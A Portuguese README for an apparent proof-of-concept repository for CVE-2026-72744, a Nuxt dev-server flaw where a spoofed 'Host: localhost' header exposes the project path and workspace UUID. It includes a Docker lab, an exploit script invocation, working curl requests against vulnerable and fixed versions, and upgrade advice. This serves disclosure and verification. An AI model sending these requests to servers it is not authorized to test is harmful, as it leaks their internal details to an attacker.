
Prova de conceito de exploit para CVE-2026-72744, uma vulnerabilidade de divulgação de informações no endpoint de workspace do Chrome DevTools do servidor de desenvolvimento do Nuxt. Demonstra a falha e verifica a correção.
Este repositório é uma Prova de Conceito (PoC) da vulnerabilidade de divulgação de informações CVE-2026-72744 presente no endpoint Chrome DevTools workspace do servidor de desenvolvimento do Nuxt.
O servidor de desenvolvimento vulnerável determina se a origem da conexão é local com base em cabeçalhos HTTP como Host, que podem ser definidos pelo atacante, em vez do endereço TCP peer. Se o servidor de desenvolvimento estiver vinculado a 0.0.0.0, um atacante não autenticado na LAN pode obter o caminho absoluto do projeto e o UUID persistente do workspace enviando uma solicitação com Host: localhost.
Esta PoC inicia o Nuxt 4.5.0 (versão vulnerável) e 4.5.1 (versão corrigida) em Docker e envia a mesma solicitação do host para verificar a diferença de comportamento. Não realiza leitura/gravação de arquivos nem execução de código.
Use apenas para fins educacionais e verificações de segurança autorizadas. Não envie solicitações não autorizadas para ambientes de terceiros.
>= 4.4.7, < 4.5.1 e >= 3.21.7, < 3.21.104.5.1 / 3.21.10experimental.chromeDevtoolsProjectSettings habilitado por padrãorootDir e do UUID do workspace específico do projetoNa versão vulnerável, isLocalDevRequest trata a solicitação como local se Host estiver na lista de permissões e não houver cabeçalhos cross-site originados do navegador. Como clientes que não são navegadores podem omitir ou definir esses cabeçalhos livremente, a seguinte solicitação passa na verificação.
GET /.well-known/appspecific/com.chrome.devtools.json HTTP/1.1
Host: localhost
A versão corrigida, além da verificação de cabeçalhos existente, exige que o endereço TCP peer real seja loopback (127.0.0.0/8 ou ::1).
docker compose up -d --build
| URL | Versão | Resultado esperado |
|---|---|---|
http://localhost:3000 | Nuxt 4.5.0 | HTTP 200, divulgação de informações |
http://localhost:3001 | Nuxt 4.5.1 | HTTP 403 |
O primeiro build pode levar alguns minutos para baixar os pacotes npm.
python3 exploit.py -t http://localhost:3000 --expect vulnerable
Saída esperada:
[!] VULNERABLE: the endpoint disclosed workspace.root and workspace.uuid.
python3 exploit.py -t http://localhost:3001 --expect fixed
Saída esperada:
[+] FIXED: the non-loopback request was rejected with HTTP 403.
curl -i -H 'Host: localhost' \
http://localhost:3000/.well-known/appspecific/com.chrome.devtools.json
curl -i -H 'Host: localhost' \
http://localhost:3001/.well-known/appspecific/com.chrome.devtools.json
Como a solicitação passa pelo redirecionamento de porta do Docker, a origem vista pelo contêiner não é loopback. Isso permite reproduzir em um único host as condições equivalentes a um ataque pela LAN.
docker compose down -v
O exploit.py define Host: localhost e acessa o endpoint de destino sem enviar Origin, Referer ou Sec-Fetch-Site. A vulnerabilidade é confirmada somente se o JSON com HTTP 200 contiver as strings workspace.root e workspace.uuid. HTTP 403 é o comportamento esperado da versão corrigida.
Atualize o Nuxt para 4.5.1 ou posterior na série 4 e para 3.21.10 ou posterior na série 3. Se não for possível atualizar, vincule o servidor de desenvolvimento apenas a loopback ou defina experimental.chromeDevtoolsProjectSettings: false.